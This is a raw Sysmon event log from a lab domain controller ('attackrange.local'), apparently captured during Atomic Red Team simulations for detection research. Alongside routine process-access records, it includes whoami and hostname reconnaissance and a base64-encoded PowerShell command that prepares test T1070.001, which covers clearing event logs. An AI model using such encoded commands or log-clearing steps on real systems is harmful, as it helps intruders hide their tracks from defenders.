09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004019Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004018Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004017Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004016Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004015Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004014Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004013Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004012Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-291D-5F80-CC00-000000007F01}5012C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004011Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-291C-5F80-CA00-000000007F01}48324308C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291D-5F80-CC00-000000007F01}5012C:\Windows\system32\whoami.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9e73492b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd57b5|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd5486|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9e686aeb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9db9601c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbf44eb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd7b50|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd7b50|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd7b50|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd79e1|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbc9966|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd5e99|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd5a35|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd57b5|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd5486|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9e686aeb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9db9601c 154100x80000000000000004010Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.368{A5F018FF-291D-5F80-CC00-000000007F01}5012C:\Windows\System32\whoami.exe10.0.14393.0 (rs1_release.160715-1616)whoami - displays logged on user informationMicrosoft® Windows® Operating SystemMicrosoft Corporationwhoami.exe"C:\Windows\system32\whoami.exe"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA 10341000x80000000000000004009Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291D-5F80-CB00-000000007F01}4536C:\Windows\system32\HOSTNAME.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004008Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004007Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004006Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004005Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004004Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004003Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004002Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004001Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-291D-5F80-CB00-000000007F01}4536C:\Windows\system32\HOSTNAME.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004000Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003999Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.360{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003998Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:53.345{A5F018FF-291C-5F80-CA00-000000007F01}48324308C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291D-5F80-CB00-000000007F01}4536C:\Windows\system32\HOSTNAME.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9e73492b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd57b5|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9dbd5486|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9e686aeb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+9db9601c|C:\Windows\assembly\NativeImages_v4.0.3